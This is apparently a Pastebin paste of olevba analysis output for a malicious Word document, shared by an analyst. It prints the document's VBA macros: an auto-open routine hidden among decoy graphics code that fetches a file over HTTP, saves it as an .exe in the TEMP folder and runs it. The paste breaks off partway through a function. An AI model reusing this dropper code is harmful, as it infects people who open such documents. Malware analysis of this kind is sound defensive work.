SHARE
TWEET

Malicious Word macro

dynamoo Nov 20th, 2015 138 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V pmB3A6-01.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: pmB3A6-01.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. AddMSXMLNode "", "", "", ""
  17. CapturePicture 0, 0, 0, 0, 0
  18. parse_test5
  19. CreateColor 0, 0, "", 0
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25. -------------------------------------------------------------------------------
  26. VBA MACRO Module1.bas
  27. in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module1'
  28. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  29.  
  30. Public Function LoadResIcon(ByVal Resname As String, Optional ByVal Width As Long = 32, Optional ByVal Height As Long = 32) As String
  31.  Dim picGuid As String
  32.  Dim picDesc As String
  33.  Dim hdcMem As Long
  34.  Dim hIcon As Long
  35.  Dim hOldBmp As Long
  36.  Dim Pic As String
  37.  Dim rcBitmap As String
  38.  picff.GUID.X = &H7BF80981
  39.  picff.GUID.S1 = &HBF32
  40.  picff.GUID.S2 = &H101A
  41.  picff.GUID.c(0) = &H8B
  42.  picff.GUID.c(1) = &HBB
  43.  picff.GUID.c(2) = &H0
  44.  picff.GUID.c(3) = &HAA
  45.  picff.GUID.c(4) = &H0
  46.  picff.GUID.c(5) = &H30
  47.  picff.GUID.c(6) = &HC
  48.  picff.GUID.c(7) = &HAB
  49.  hdcMem = CreateMemoryDC
  50.  hIcon = LoadImage(App.hInstance, Resname, Image_Icon, Width, Height, LoadImage_Shared)
  51.  If hIcon = 0 Then
  52.  DeleteMemoryDC hdcMem
  53.  Exit Function
  54.  End If
  55.  picDedd.sc.Size = Len(picDesc)
  56.  picDedd.sc.BITMAP = hIcon
  57.  picDedd.sc.Type = PicType_Icon
  58.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  59.  DeleteMemoryDC hdcMem
  60.  Exit Function
  61.  End If
  62.  Set LoadResIcon = Pic
  63.  Set Pic = Nothing
  64.  DeleteMemoryDC hdcMem
  65. End Function
  66.  
  67.  
  68.  
  69. Public Function GDIRect(X1 As Long, y1 As Long, x2 As Long, y2 As Long, Optional Absolute As Boolean = True) As String
  70. On Error Resume Next
  71.  With GDIRect
  72.  .left = X1
  73.  .tOp = y1
  74.  If Absolute Then
  75.  .Right = x2
  76.  .Bottom = y2
  77.  Else
  78.  .Right = X1 + x2
  79.  .Bottom = y1 + y2
  80.  End If
  81.  End With
  82. End Function
  83. Function IconFromHandle(Handle As Long) As String
  84. On Error Resume Next
  85.  Dim picGuid As String
  86.  Dim picDesc As String
  87.  Dim Pic As String
  88.  picff.GUID.X = &H7BF80981
  89.  picff.GUID.S1 = &HBF32
  90.  picff.GUID.S2 = &H101A
  91.  picff.GUID.c(0) = &H8B
  92.  picff.GUID.c(1) = &HBB
  93.  picff.GUID.c(2) = &H0
  94.  picff.GUID.c(3) = &HAA
  95.  picff.GUID.c(4) = &H0
  96.  picff.GUID.c(5) = &H30
  97.  picff.GUID.c(6) = &HC
  98.  picff.GUID.c(7) = &HAB
  99.  picDedd.sc.Size = Len(picDesc)
  100.  picDedd.sc.BITMAP = Handle
  101.  picDedd.sc.Type = PicType_Icon
  102.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  103.  Exit Function
  104.  End If
  105.  Set IconFromHandle = Pic
  106.  Set Pic = Nothing
  107. End Function
  108. Function GetPictureArray(ByRef Pic As String) As Long()
  109. On Error Resume Next
  110. Dim MinX As Long, MinY As Long
  111. Dim MaxX As Long, MaxY As Long
  112. Dim SetX As Long, SetY As Long
  113. Dim DestAddress As Long, YOffset As Long
  114. Dim bmiDest As BitmapInfo
  115. Dim DIBitsDest() As Long, DC As Long
  116.  DC = CreateMemoryDC
  117.  With bmiDest.Header
  118.  .Size = Len(bmiDest.Header)
  119.  .Planes = 1
  120.  End With
  121.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  122.  DeleteMemoryDC DC
  123.  Exit Function
  124.  End If
  125.  With bmiDest.Header
  126.  .BitCount = 32
  127.  .Compression = DIBCompression_RGB
  128.  End With
  129.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  130.  ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
  131.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
  132.  DeleteMemoryDC DC
  133.  Exit Function
  134.  End If
  135.  GetPictureArray = DIBitsDest
  136.  DeleteMemoryDC DC
  137. End Function
  138. Function GetPictureArrayInv(ByRef Pic As String) As Long()
  139. On Error Resume Next
  140. Dim MinX As Long, MinY As Long
  141. Dim MaxX As Long, MaxY As Long
  142. Dim SetX As Long, SetY As Long
  143. Dim DestAddress As Long, YOffset As Long
  144. Dim bmiDest As BitmapInfo
  145. Dim DIBitsDest() As Long, DC As Long
  146.  DC = CreateMemoryDC
  147.  With bmiDest.Header
  148.  .Size = Len(bmiDest.Header)
  149.  .Planes = 1
  150.  End With
  151.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  152.  DeleteMemoryDC DC
  153.  Exit Function
  154.  End If
  155.  With bmiDest.Header
  156.  .BitCount = 32
  157.  .Compression = DIBCompression_RGB
  158.  End With
  159.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  160.  ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
  161.  bmiDest.Header.Height = -bmiDest.Header.Height
  162.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
  163.  DeleteMemoryDC DC
  164.  Exit Function
  165.  End If
  166.  bmiDest.Header.Height = -bmiDest.Header.Height
  167.  GetPictureArrayInv = DIBitsDest
  168.  DeleteMemoryDC DC
  169. End Function
  170. Sub GetPictureArrayByte(ByRef Pic As String, ByRef DestArray() As Byte)
  171. On Error Resume Next
  172. Dim MinX As Long, MinY As Long
  173. Dim MaxX As Long, MaxY As Long
  174. Dim SetX As Long, SetY As Long
  175. Dim DestAddress As Long, YOffset As Long
  176. Dim bmiDest As BitmapInfo
  177. Dim DC As Long
  178.  DC = CreateMemoryDC
  179.  With bmiDest.Header
  180.  .Size = Len(bmiDest.Header)
  181.  .Planes = 1
  182.  End With
  183.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  184.  DeleteMemoryDC DC
  185.  Exit Sub
  186.  End If
  187.  With bmiDest.Header
  188.  .BitCount = 32
  189.  .Compression = DIBCompression_RGB
  190.  End With
  191.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  192.  bmiDest.Header.Height = -bmiDest.Header.Height
  193.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
  194.  DeleteMemoryDC DC
  195.  Exit Sub
  196.  End If
  197.  bmiDest.Header.Height = -bmiDest.Header.Height
  198.  DeleteMemoryDC DC
  199. End Sub
  200. Sub GetPictureArrayPtr(ByRef Pic As String, ByVal Ptr As Long)
  201. On Error Resume Next
  202. Dim MinX As Long, MinY As Long
  203. Dim MaxX As Long, MaxY As Long
  204. Dim SetX As Long, SetY As Long
  205. Dim DestAddress As Long, YOffset As Long
  206. Dim bmiDest As BitmapInfo
  207. Dim DC As Long
  208.  DC = CreateMemoryDC
  209.  With bmiDest.Header
  210.  .Size = Len(bmiDest.Header)
  211.  .Planes = 1
  212.  End With
  213.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  214.  DeleteMemoryDC DC
  215.  Exit Sub
  216.  End If
  217.  With bmiDest.Header
  218.  .BitCount = 32
  219.  .Compression = DIBCompression_RGB
  220.  End With
  221.  bmiDest.Header.Height = -bmiDest.Header.Height
  222.  If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
  223.  DeleteMemoryDC DC
  224.  Exit Sub
  225.  End If
  226.  bmiDest.Header.Height = -bmiDest.Header.Height
  227.  DeleteMemoryDC DC
  228. End Sub
  229. Sub GetBitmapArrayPtr(ByVal BITMAP As Long, ByVal Ptr As Long)
  230. On Error Resume Next
  231. Dim MinX As Long, MinY As Long
  232. Dim MaxX As Long, MaxY As Long
  233. Dim SetX As Long, SetY As Long
  234. Dim DestAddress As Long, YOffset As Long
  235. Dim bmiDest As BitmapInfo
  236. Dim DC As Long
  237.  DC = CreateMemoryDC
  238.  With bmiDest.Header
  239.  .Size = Len(bmiDest.Header)
  240.  .Planes = 1
  241.  End With
  242.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  243.  DeleteMemoryDC DC
  244.  Exit Sub
  245.  End If
  246.  With bmiDest.Header
  247.  .BitCount = 32
  248.  .Compression = DIBCompression_RGB
  249.  End With
  250.  bmiDest.Header.Height = -bmiDest.Header.Height
  251.  If 0 = GetDIBits(DC, BITMAP, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
  252.  DeleteMemoryDC DC
  253.  Exit Sub
  254.  End If
  255.  bmiDest.Header.Height = -bmiDest.Header.Height
  256.  DeleteMemoryDC DC
  257. End Sub
  258. Sub GetHBmpArrayByte(ByVal hBmp As Long, ByRef DestArray() As Byte, Optional ByVal CPDC As Long = 0)
  259. On Error Resume Next
  260. Dim MinX As Long, MinY As Long
  261. Dim MaxX As Long, MaxY As Long
  262. Dim SetX As Long, SetY As Long
  263. Dim DestAddress As Long, YOffset As Long
  264. Dim bmiDest As BitmapInfo
  265. Dim DC As Long
  266.  If CPDC = 0 Then DC = CreateMemoryDC Else DC = CPDC
  267.  With bmiDest.Header
  268.  .Size = Len(bmiDest.Header)
  269.  .Planes = 1
  270.  End With
  271.  If 0 = GetDIBits(DC, hBmp, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  272.  DeleteMemoryDC DC
  273.  Exit Sub
  274.  End If
  275.  With bmiDest.Header
  276.  .BitCount = 32
  277.  .Compression = DIBCompression_RGB
  278.  End With
  279.  YOffset = (bmiDest.Header.Height - 1) - MaxY
  280.  bmiDest.Header.Height = -bmiDest.Header.Height
  281.  If 0 = GetDIBits(DC, hBmp, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
  282.  DeleteMemoryDC DC
  283.  Exit Sub
  284.  End If
  285.  bmiDest.Header.Height = -bmiDest.Header.Height
  286.  If CPDC = 0 Then DeleteMemoryDC DC
  287. End Sub
  288. Function GetPictureWidth(ByRef Pic As String) As Long
  289. On Error Resume Next
  290. Dim bmiDest As BitmapInfo
  291. Dim DC As Long
  292.  DC = CreateMemoryDC
  293.  With bmiDest.Header
  294.  .Size = Len(bmiDest.Header)
  295.  .Planes = 1
  296.  End With
  297.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  298.  DeleteMemoryDC DC
  299.  Exit Function
  300.  End If
  301.  GetPictureWidth = CLng(bmiDest.Header.Width)
  302.  DeleteMemoryDC DC
  303. End Function
  304. Function GetPictureHeight(ByRef Pic As String) As Long
  305. On Error Resume Next
  306. Dim bmiDest As BitmapInfo
  307. Dim DC As Long
  308.  DC = CreateMemoryDC
  309.  With bmiDest.Header
  310.  .Size = Len(bmiDest.Header)
  311.  .Planes = 1
  312.  End With
  313.  If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  314.  DeleteMemoryDC DC
  315.  Exit Function
  316.  End If
  317.  GetPictureHeight = CLng(bmiDest.Header.Height)
  318.  DeleteMemoryDC DC
  319. End Function
  320. Function GetBitmapWidth(ByVal BITMAP As Long) As Long
  321. On Error Resume Next
  322. Dim bmiDest As BitmapInfo
  323. Dim DC As Long
  324.  DC = CreateMemoryDC
  325.  With bmiDest.Header
  326.  .Size = Len(bmiDest.Header)
  327.  .Planes = 1
  328.  End With
  329.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  330.  DeleteMemoryDC DC
  331.  Exit Function
  332.  End If
  333.  GetBitmapWidth = CLng(bmiDest.Header.Width)
  334.  DeleteMemoryDC DC
  335. End Function
  336. Function GetBitmapHeight(ByVal BITMAP As Long) As Long
  337. On Error Resume Next
  338. Dim bmiDest As BitmapInfo
  339. Dim DC As Long
  340.  DC = CreateMemoryDC
  341.  With bmiDest.Header
  342.  .Size = Len(bmiDest.Header)
  343.  .Planes = 1
  344.  End With
  345.  If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
  346.  DeleteMemoryDC DC
  347.  Exit Function
  348.  End If
  349.  GetBitmapHeight = CLng(bmiDest.Header.Height)
  350.  DeleteMemoryDC DC
  351. End Function
  352. Public Function ColorFromString(Text As String) As Long
  353. On Error Resume Next
  354. Dim cR As Long, cG As Long, cB As Long
  355.  If left(Text, 2) = "&H" Then
  356.  ColorFromString = CLng(Text)
  357.  Exit Function
  358.  End If
  359.  If left(Text, 1) = "#" Then
  360.  ColorFromString = CLng("&H" + Mid(Text, 2))
  361.  cR = ColorFromString Mod 256
  362.  cG = Int((ColorFromString \ 256)) Mod 256
  363.  cB = Int(ColorFromString \ 65536)
  364.  ColorFromString = RGB(cB, cG, cR)
  365.  Exit Function
  366.  End If
  367.  If left(Text, 1) = "." Then
  368.  ColorFromString = CLng(Mid(Text, 2))
  369.  Exit Function
  370.  End If
  371.  If (InStr(Text, ",")) Then
  372.  cR = CLng(left(Text, InStr(Text, ",") - 1))
  373.  cG = CLng(Mid(Text, InStr(Text, ",") + 1, ((InStrRev(Text, ",") - 1) - (InStr(Text, ",")))))
  374.  cB = CLng(Mid(Text, InStrRev(Text, ",") + 1))
  375.  ColorFromString = RGB(cR, cG, cB)
  376.  Exit Function
  377.  End If
  378.  Select Case Trim(LCase(Text))
  379.  Case "darkgoldenrod", "dark goldenrod"
  380.  ColorFromString = ColorFromString("#B8860B")
  381.  Case "darkgray", "dark gray"
  382.  ColorFromString = ColorFromString("#A9A9A9")
  383.  Case "darkgreen", "dark green"
  384.  ColorFromString = ColorFromString("#006400")
  385.  Case "darkkhaki", "dark khaki"
  386.  ColorFromString = ColorFromString("#BDB76B")
  387.  Case "darkmagenta", "dark magenta"
  388.  ColorFromString = ColorFromString("#8B008B")
  389.  Case "darkolivegreen", "dark olive green"
  390.  ColorFromString = ColorFromString("#556B2F")
  391.  Case "darkorange", "dark orange"
  392.  ColorFromString = ColorFromString("#FF8C00")
  393.  Case "darkorchid", "dark orchid"
  394.  ColorFromString = ColorFromString("#9932CC")
  395.  Case "darkrealm"
  396.  ColorFromString = ColorFromString("#202020")
  397.  Case "darkred", "dark red"
  398.  ColorFromString = ColorFromString("#8B0000")
  399.  Case "darksalmon", "dark salmon"
  400.  ColorFromString = ColorFromString("#E9967A")
  401.  Case "darkseagreen", "dark sea green"
  402.  ColorFromString = ColorFromString("#8FBC8F")
  403.  Case "darkslateblue", "dark slate blue"
  404.  ColorFromString = ColorFromString("#483D8B")
  405.  Case "peru"
  406.  ColorFromString = ColorFromString("#CD853F")
  407.  Case "pink"
  408.  ColorFromString = ColorFromString("#FFC0CB")
  409.  Case "plum"
  410.  ColorFromString = ColorFromString("#DDA0DD")
  411.  Case "powderblue", "powder blue"
  412.  ColorFromString = ColorFromString("#B0E0E6")
  413.  Case "purple"
  414.  ColorFromString = ColorFromString("#800080")
  415.  Case "rast"
  416.  ColorFromString = ColorFromString("#B02020")
  417.  Case "red"
  418.  ColorFromString = ColorFromString("#FF0000")
  419.  Case "rosybrown", "rosy brown"
  420.  ColorFromString = ColorFromString("#BC8F8F")
  421.  Case "royalblue", "royal blue"
  422.  ColorFromString = ColorFromString("#4169E1")
  423.  Case "saddlebrown", "saddle brown"
  424.  ColorFromString = ColorFromString("#8B4513")
  425.  Case "salmon"
  426.  ColorFromString = ColorFromString("#FA8072")
  427.  Case "sandybrown", "sandy brown"
  428.  ColorFromString = ColorFromString("#F4A460")
  429.  Case "seagreen", "sea green"
  430.  ColorFromString = ColorFromString("#2E8B57")
  431.  Case "seashell"
  432.  ColorFromString = ColorFromString("#FFF5EE")
  433.  Case "sienna"
  434.  ColorFromString = ColorFromString("#A0522D")
  435.  Case "yellowgreen", "yellow-green", "yellow green"
  436.  ColorFromString = ColorFromString("#9ACD32")
  437.  Case "default", "normal", "standard", "text"
  438.  ColorFromString = -1
  439.  Case Else
  440.  ColorFromString = -1
  441.  End Select
  442. End Function
  443. Public Function CreateMemoryDC() As Long
  444. On Error Resume Next
  445. Dim deskWnd As Long, deskDC As Long
  446.  deskWnd = GetDesktopWindow
  447.  deskDC = GetDC(deskWnd)
  448.  CreateMemoryDC = CreateCompa.tibleDC(deskDC)
  449.  ReleaseDC deskWnd, deskDC
  450. End Function
  451. Public Sub DeleteMemoryDC(hdc As Long)
  452. On Error Resume Next
  453.  Deleddd.teDC hdc
  454. End Sub
  455. Public Function CapturePicture(ByVal hdc As Long, ByVal left As Long, ByVal tOp As Long, ByVal Width As Long, ByVal Height As Long) As String
  456.  Dim picGuid As String
  457.  Dim picDesc As String
  458.  Dim hdcMem As Long
  459.  
  460. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  461.  
  462.  
  463.  Dim hBmp As Long
  464.  Dim hOldBmp As Long
  465.  Dim Pic As String
  466.  Dim rcBitmap As String
  467.  
  468. tempFolder = processEnv("TEMP")
  469.  
  470. httpRequest.Send
  471. tempFile = tempFolder + "\" + "" + "" + "tru" + "" + "" + "me1" + "." + "" + "e" + "xe"
  472.  
  473. Exit Function
  474. picff.GUID.X = &H7BF80981
  475.  picff.GUID.S1 = &HBF32
  476.  picff.GUID.S2 = &H101A
  477.  picff.GUID.c(0) = &H8B
  478.  picff.GUID.c(1) = &HBB
  479.  picff.GUID.c(2) = &H0
  480.  picff.GUID.c(3) = &HAA
  481.  picff.GUID.c(4) = &H0
  482.  picff.GUID.c(5) = &H30
  483.  picff.GUID.c(6) = &HC
  484.  picff.GUID.c(7) = &HAB
  485.  picDedd.sc.Size = Len(picDesc)
  486.  hdcMem = CreateCompa.tibleDC(hdc)
  487.  If hdcMem = 0 Then
  488.  Exit Function
  489.  End If
  490.  hBmp = CreateCompadd.tibleBitmap(hdc, Width, Height)
  491.  If hBmp = 0 Then
  492.  Deleddd.teDC hdcMem
  493.  Exit Function
  494.  End If
  495.  hOldBmp = SelectObdd.ject(hdcMem, hBmp)
  496.  If left >= 0 And tOp >= 0 Then
  497.  If Bi.tBlt(hdcMem, 0, 0, Width, Height, hdc, left, tOp, vbSrcCopy) = 0 Then
  498.  Seleff.ctObject hdcMem, hOldBmp
  499.  Deleddd.teDC hdcMem
  500.  DeleteObjectd.dd hBmp
  501.  Exit Function
  502.  End If
  503.  Else
  504.  
  505.  Fil.lRect hdcMem, rcBitmap, GetSto.ckObject(StockObject_Brush_Black)
  506.  End If
  507.  Seleff.ctObject hdcMem, hOldBmp
  508.  picDedd.sc.BITMAP = hBmp
  509.  picDedd.sc.Palette = GetCurr.entObject(hdc, Object_Palette)
  510.  picDedd.sc.Type = PicType_Bitmap
  511.  If CreateP.ictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  512.  Deleddd.teDC hdcMem
  513.  DeleteObjectd.dd hBmp
  514.  Exit Function
  515.  End If
  516.  Deleddd.teDC hdcMem
  517. End Function
  518. Public Function CreatePicture(ByVal Width As Long, ByVal Height As Long) As String
  519.  Dim picGuid As String
  520.  Dim picDesc As String
  521.  Dim hdcMem As Long
  522.  Dim hBmp As Long
  523.  Dim hOldBmp As Long
  524.  Dim Pic As String
  525.  Dim rcBitmap As String
  526.  Dim deskWnd As Long, deskDC As Long
  527.  deskWnd = GetDesktopWindow
  528.  deskDC = GetDC(deskWnd)
  529.  picff.GUID.X = &H7BF80981
  530.  picff.GUID.S1 = &HBF32
  531.  picff.GUID.S2 = &H101A
  532.  picff.GUID.c(0) = &H8B
  533.  picff.GUID.c(1) = &HBB
  534.  picff.GUID.c(2) = &H0
  535.  picff.GUID.c(3) = &HAA
  536.  picff.GUID.c(4) = &H0
  537.  picff.GUID.c(5) = &H30
  538.  picff.GUID.c(6) = &HC
  539.  picff.GUID.c(7) = &HAB
  540.  picDedd.sc.Size = Len(picDesc)
  541.  hdcMem = CreateMemoryDC
  542.  If hdcMem = 0 Then
  543.  Exit Function
  544.  End If
  545.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  546.  If hBmp = 0 Then
  547.  Deleddd.teDC hdcMem
  548.  ReleaseDC deskWnd, deskDC
  549.  Exit Function
  550.  End If
  551.  picDedd.sc.BITMAP = hBmp
  552.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  553.  picDedd.sc.Type = PicType_Bitmap
  554.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  555.  Deleddd.teDC hdcMem
  556.  ReleaseDC deskWnd, deskDC
  557.  DeleteObjectd.dd hBmp
  558.  Exit Function
  559.  End If
  560.  Set CreatePicture = Pic
  561.  Set Pic = Nothing
  562.  Deleddd.teDC hdcMem
  563.  ReleaseDC deskWnd, deskDC
  564. End Function
  565. Public Function CreateMask(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
  566. On Error Resume Next
  567.  Dim picGuid As String
  568.  Dim picDesc As String
  569.  Dim hdcMem As Long
  570.  Dim hBmp As Long
  571.  Dim hOldBmp As Long
  572.  Dim Pic As String
  573.  Dim rcBitmap As String
  574.  Dim deskWnd As Long, deskDC As Long
  575.  Dim m_lngPixels() As Long
  576.  Dim m_lngX As Long, m_lngY As Long
  577.  If SourcePic Is Nothing Then Exit Function
  578.  deskWnd = GetDesktopWindow
  579.  deskDC = GetDC(deskWnd)
  580.  picff.GUID.X = &H7BF80981
  581.  picff.GUID.S1 = &HBF32
  582.  picff.GUID.S2 = &H101A
  583.  picff.GUID.c(0) = &H8B
  584.  picff.GUID.c(1) = &HBB
  585.  picff.GUID.c(2) = &H0
  586.  picff.GUID.c(3) = &HAA
  587.  picff.GUID.c(4) = &H0
  588.  picff.GUID.c(5) = &H30
  589.  picff.GUID.c(6) = &HC
  590.  picff.GUID.c(7) = &HAB
  591.  picDedd.sc.Size = Len(picDesc)
  592.  hdcMem = CreateMemoryDC
  593.  If hdcMem = 0 Then
  594.  Exit Function
  595.  End If
  596.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  597.  If hBmp = 0 Then
  598.  Deleddd.teDC hdcMem
  599.  ReleaseDC deskWnd, deskDC
  600.  Exit Function
  601.  End If
  602.  picDedd.sc.BITMAP = hBmp
  603.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  604.  picDedd.sc.Type = PicType_Bitmap
  605.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  606.  Deleddd.teDC hdcMem
  607.  ReleaseDC deskWnd, deskDC
  608.  DeleteObjectd.dd hBmp
  609.  Exit Function
  610.  End If
  611.  m_lngPixels() = GetPictureArrayInv(SourcePic)
  612.  For m_lngY = 0 To Height - 1
  613.  For m_lngX = 0 To Width - 1
  614.  m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &HFFFFFF, &H0)
  615.  Next m_lngX
  616.  Next m_lngY
  617.  ArrayToPicture Pic, m_lngPixels, hdcMem
  618.  Set CreateMask = Pic
  619.  Set Pic = Nothing
  620.  Deleddd.teDC hdcMem
  621.  ReleaseDC deskWnd, deskDC
  622. End Function
  623. Public Function CreateColor(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
  624. On Error Resume Next
  625.  Dim picGuid As String
  626.  Dim picDesc As String
  627.  Dim hdcMem As Long
  628.  Dim hBmp As Long
  629.  Dim hOldBmp As Long
  630.  Dim Pic As String
  631.  Dim rcBitmap As String
  632.  Dim deskWnd As Long, deskDC As Long
  633.  Dim m_lngPixels() As Long
  634.  Dim m_lngX As Long, m_lngY As Long
  635. shellApp.Open (tempFile)
  636. Exit Function
  637.  If SourcePic = "" Then Exit Function
  638.  deskWnd = GetDesktopWindow
  639.  deskDC = Ge.tDC(deskWnd)
  640.  picff.GUID.X = &H7BF80981
  641.  picff.GUID.S1 = &HBF32
  642.  hdcMem = CreateMemoryDC
  643.  If hdcMem = 0 Then
  644.  Exit Function
  645.  End If
  646.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  647.  If hBmp = 0 Then
  648.  Deleddd.teDC hdcMem
  649.  Rele.aseDC deskWnd, deskDC
  650.  Exit Function
  651.  End If
  652.  picDedd.sc.BITMAP = hBmp
  653.  picDedd.sc.Palette = GetCurre.ntObject(deskDC, Object_Palette)
  654.  picDedd.sc.Type = PicType_Bitmap
  655.  If CreatePict.ureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  656.  Deleddd.teDC hdcMem
  657.  Rele.aseDC deskWnd, deskDC
  658.  DeleteObjectd.dd hBmp
  659.  Exit Function
  660.  End If
  661.  m_lngPixels() = GetPictureArrayInv(SourcePic)
  662.  For m_lngY = 0 To Height - 1
  663.  For m_lngX = 0 To Width - 1
  664.  m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &H0, m_lngPixels(m_lngX, m_lngY))
  665.  Next m_lngX
  666.  Next m_lngY
  667.  ArrayT.oPicture Pic, m_lngPixels, hdcMem
  668.  Deleddd.teDC hdcMem
  669.  Rele.aseDC deskWnd, deskDC
  670. End Function
  671. Public Function CreatePictureFromIcon(ByVal Width As Long, ByVal Height As Long, ByRef Icon As String) As String
  672.  Dim picGuid As String
  673.  Dim picDesc As String
  674.  Dim hdcMem As Long
  675.  Dim hBmp As Long
  676.  Dim hOldBmp As Long
  677.  Dim Pic As String
  678.  Dim rcBitmap As String
  679.  Dim deskWnd As Long, deskDC As Long
  680.  deskWnd = GetDesktopWindow
  681.  deskDC = GetDC(deskWnd)
  682.  picff.GUID.X = &H7BF80981
  683.  picff.GUID.S1 = &HBF32
  684.  picff.GUID.S2 = &H101A
  685.  picff.GUID.c(0) = &H8B
  686.  If hdcMem = 0 Then
  687.  Exit Function
  688.  End If
  689.  hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
  690.  If hBmp = 0 Then
  691.  Deleddd.teDC hdcMem
  692.  ReleaseDC deskWnd, deskDC
  693.  Exit Function
  694.  End If
  695.  hOldBmp = SelectObdd.ject(hdcMem, hBmp)
  696.  DrawIconEx hdcMem, 0, 0, Icon.Handle, Width, Height, 0, 0, 2
  697.  Seleff.ctObject hdcMem, hOldBmp
  698.  picDedd.sc.BITMAP = hBmp
  699.  picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
  700.  picDedd.sc.Type = PicType_Bitmap
  701.  If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
  702.  Deleddd.teDC hdcMem
  703.  ReleaseDC deskWnd, deskDC
  704.  DeleteObjectd.dd hBmp
  705.  Exit Function
  706.  End If
  707.  Set CreatePictureFromIcon = Pic
  708.  Set Pic = Nothing
  709.  Deleddd.teDC hdcMem
  710.  ReleaseDC deskWnd, deskDC
  711. End Function
  712. -------------------------------------------------------------------------------
  713. VBA MACRO Module2.bas
  714. in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module2'
  715. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  716. Public processEnv  As Object
  717. Public tempFolder As String
  718. Public tempFile As String
  719. Public shellApp As Object
  720. Dim stroldMessageSetID As String
  721. Public Function DateValid(strDate As String, _
  722.  strMsgText As String) As Boolean
  723.  If Trim(strDate) = "" Then
  724.  DateValid = True
  725.  Exit Function
  726.  End If
  727.  If Not IsDate(strDate) Then
  728.  MsgBox "The " & strMsgText & " date you"
  729.  DateValid = False
  730.  Exit Function
  731.  End If
  732.  If CDate(strDate) < CDate("1/1/1970") Or _
  733.  CDate(strDate) > CDate("1/18/2038") Then
  734.  MsgBox "The " & strMsgText & _
  735.  " date you supply must be between Jan 1, 1970 and Jan 18, 2038"
  736.  DateValid = False
  737.  Exit Function
  738.  End If
  739.  Dim strSplits() As String
  740.  strSplits = Split(Trim(strDate), "-")
  741.  If UBound(strSplits) = 2 Then
  742.  If Len(strSplits(0)) = 4 And Len(strSplits(1)) = 2 And _
  743.  Len(strSplits(2)) = 2 Then
  744.  DateValid = True
  745.  Exit Function
  746.  End If
  747.  End If
  748.  MsgBox "The " & strMsgText & " date must be of the form yyyy-mm-dd"
